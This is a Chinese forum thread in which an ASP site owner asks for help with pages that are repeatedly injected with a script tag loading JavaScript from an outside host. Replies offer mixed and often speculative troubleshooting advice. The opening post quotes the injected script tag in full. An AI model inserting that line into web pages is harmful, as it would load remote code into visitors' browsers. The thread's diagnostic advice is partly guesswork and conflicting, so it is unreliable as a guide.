我的网站中毒了，asp的网站，状况超奇怪！气死我了。

先说说中毒状况吧，在网站的几个网页的底部会出现
<script language="javascript" src="http://o.inca.gotgeeks.com/inc.js?tn=iacnnet_pg&cv=0&cid=1157572&csid=302"></script>
这个代码，我下载下来源代码看的。
被感染的页面有top.asp,conn.asp,index.asp
这些页面的共同特征是和其它页面相关。

后来我清除了这些代码后，并且设置网站的权限为只读，谁知道今天打开网站后，病毒依然存在。
我真服了，谁弄的这些个代码。

82 个解决方案

#1

淡定，仔细看看你的代码里有没有生成这样的东西

#2

换成PHP吧

#3

你用的编辑器是Webedit吧,如果是请换个修改过的,以前的有漏洞的!

#4

数据库检查了嘛 看看有没有被注入
另外再找找网页上是否有漏洞

#5

引用 3 楼 wuzhengqing1 的回复:

你用的编辑器是Webedit吧,如果是请换个修改过的,以前的有漏洞的!

我用的edit的，不是用的Webedit.

#6

这不是明摆着嘛，你的网站有漏洞或后台，被人日了，人家想咋地就咋地，值入木马，删除你数据那还不是小ks的事，赶快把漏洞找出来吧，不然有你折腾的... :)

#7

还有，我现在打开网站的时候，瑞星会提示有病毒。
被挂Suspicious.ShellCode.Exploit木马

#8

我现在都把这几个特定的文件的权限设置为只读了，这样病毒要是再入侵的话，我真的无话可说了。

#9

自己写一个编辑器，功能少点就少点，关键自己都要能看懂的，什么都套用，不管里面的代码是什么，就很容易被人家猜到其中的逻辑！

#10

杯具，很头疼的问题...

#11

是不是ARP攻击？？

如果不是就把你的EDIT先停止几天，上传功能也停止几天看

如果还会有这种现像那就是ARP攻击了，也就是你同台服务器的其它网站被挂马了

#12

一般是上传的漏洞，把图片直接上传上来了，设置单独的上传文件夹，去掉执行，asp也不能执行。这个漏洞好像很严重

#13

asp做的好，一样的安全。
你主要考虑在提交数据的地方出现什么漏洞。还有服务器安全。

#14

一般对数据库的端口号不要是是默认的1433,建议使用验证控件（运行在是客户端），增加服务器段验证,SQL注入

#15

看下你的数据库，是不是许多字段里都多了那个script

#16

asp 。。订！

#17

引用 15 楼 mark271828 的回复:

看下你的数据库，是不是许多字段里都多了那个script

这个我看了，没有出现这种现象。

#18

引用 12 楼 anjing5566 的回复:

一般是上传的漏洞，把图片直接上传上来了，设置单独的上传文件夹，去掉执行，asp也不能执行。这个漏洞好像很严重

上传我查过了，没有漏洞。
最可恨的是，我前几天把文件权限设置为只读，没想到今天就又中毒了。
我自己在服务器上都没法直接修改，真不知道黑客是怎么修改了我的网站的。

#19

你的服务器有没有限制端口号，保留几个常用端口，修改
有没有定期查看IIS系统日志和数据库日志，这个很关键，有异常访问和攻击都可以看出来

#20

查看下服务器的账户有没有被添加和修改

#21

这种一般就是sql注入攻击了
权限如果正确改为只读，不管程序多烂，仍然被修改的可能性很小
估计你没设置正确
只读应该设置window的目录权限，禁止相关账号写入权限，改iis是没用的

#22

难道是脚本隐藏在数据库的某条记录里。
那么多，我得一个一个找吗

#23

引用 21 楼 gzpepco 的回复:

这种一般就是sql注入攻击了
权限如果正确改为只读，不管程序多烂，仍然被修改的可能性很小
估计你没设置正确
只读应该设置window的目录权限，禁止相关账号写入权限，改iis是没用的

但是，确实我的文件被修改了，好郁闷啊

#24

好惨啊，今天打开的时候又被修改了。
我在服务器上都没法更改的文件，那个谁是怎么修改了我的文件呢？

#25

与我的网站遭遇类似，和他斗了一个多星期，最后投降了----关闭网站，那小子大过年的那几天，天天搞破坏，我都没有那么多时间和他耗~

#26

学习中！！！

#27

网站问题占一半。服务器占1/4。受服务器让其它网站连累占1/4。
只要服务器没有问题这个问题很好搞的。
1、把你网站除后台外全加上SQL防注入。
2、edit没有用过，我一直用的是eWebEditor每个人都说有问题。有问题你自己改一下就就行了！我做了几十个网站了，小到企业，大到*和门户网，编辑器都用的是eWebEditor，我把漏洞补好后就没有出现被挂马过！

#28

应该是SQL注入了吧

#29

引用 27 楼 llq200 的回复:

网站问题占一半。服务器占1/4。受服务器让其它网站连累占1/4。
只要服务器没有问题这个问题很好搞的。
1、把你网站除后台外全加上SQL防注入。
2、edit没有用过，我一直用的是eWebEditor每个人都说有问题。有问题你自己改一下就就行了！我做了几十个网站了，小到企业，大到*和门户网，编辑器都用的是eWebEditor，我把漏洞补好后就没有出现被挂马过！

我决定把后台所有的文件先删除再试试了。

#30

引用 25 楼 usaer 的回复:

与我的网站遭遇类似，和他斗了一个多星期，最后投降了----关闭网站，那小子大过年的那几天，天天搞破坏，我都没有那么多时间和他耗~

我太服你了，不过最后你还是没有找到问题的根源所在吗？

#31

围观。。。。。。。。。。。

#32

如果你没有改变，只是在做无用功！

引用 29 楼 syjwbl 的回复:

引用 27 楼 llq200 的回复:
网站问题占一半。服务器占1/4。受服务器让其它网站连累占1/4。
只要服务器没有问题这个问题很好搞的。
1、把你网站除后台外全加上SQL防注入。
2、edit没有用过，我一直用的是eWebEditor每个人都说有问题。有问题你自己改一下就就行了！我做了几十个网站了，小到企业，大到*和门户网，编辑器都用的是eWebEditor，我把漏洞补好后就没有出……

#33

学习了

#34

\editor_cellprops.asp (vbscript|jscript|javascript).Encode 似乎脚本被加密了，一般ASP文件是不会加密的 

这个是我用webshell扫描器得出的结论，不知道有没影响。

#35

关闭FSo 文件读写

#36

是服务器垃圾吧？我以前申请了个免费空间，每个页面后面就是这个JS代码，是那个空间的广告

#37

网站被攻击 很普遍啊 。 因为 我们不得不开放一些端口。 80  和21
那个21  一定要关掉。

#38

引用 37 楼 jason_dct 的回复:

网站被攻击 很普遍啊 。 因为 我们不得不开放一些端口。 80  和21
那个21  一定要关掉。

如果关闭了21好端口，怎么上传和修改文件呢。

#39

我把所有和这个网站有关的权限都设置了，但还是不行，真不知道是怎么了。
应该是程序的问题，因为服务器上的其他网站都没有类似的情况出现，我最近准备重写所有后台代码。

#40

换成PHP吧

#41

我现在感觉是编辑器的问题，我想不用编辑器可能就会好些了吧。

#42

学习了。。。

#43

找到漏洞补上

#44

上传我查过了，没有漏洞。
最可恨的是，我前几天把文件权限设置为只读，没想到今天就又中毒了。
我自己在服务器上都没法直接修改，真不知道黑客是怎么修改了我的网站的。

很明显是服务器的问题，攻击者应该是拿到了服务器权限。清理病毒后换一个服务器空间。

#45

引用 40 楼 caotangjia 的回复:

换成PHP吧

PHP并不是万能药。
ASP做好了，一样安全。

#46

查下服务器有没有多出来的用户
定期查看IIS日志和数据库日志
封掉服务器多余端口

#47

是通过服务器DNS漏洞做的
做服务器安全吧

#48

还是从你那几个页面的代码里找找吧，因为我搜索“http://o.inca.gotgeeks.com/inc.js”，结果只有你一条记录！病毒不会只攻击你一个人！

#49

当然，也包括其它相关页面。

#50

引用 44 楼 yunfeng21 的回复:

很明显是服务器的问题，攻击者应该是拿到了服务器权限。清理病毒后换一个服务器空间。

真的是服务器的问题吗，我服务器上还有其他的网站，都没有出现这种情况，单单是有两个网站出现这种情况了。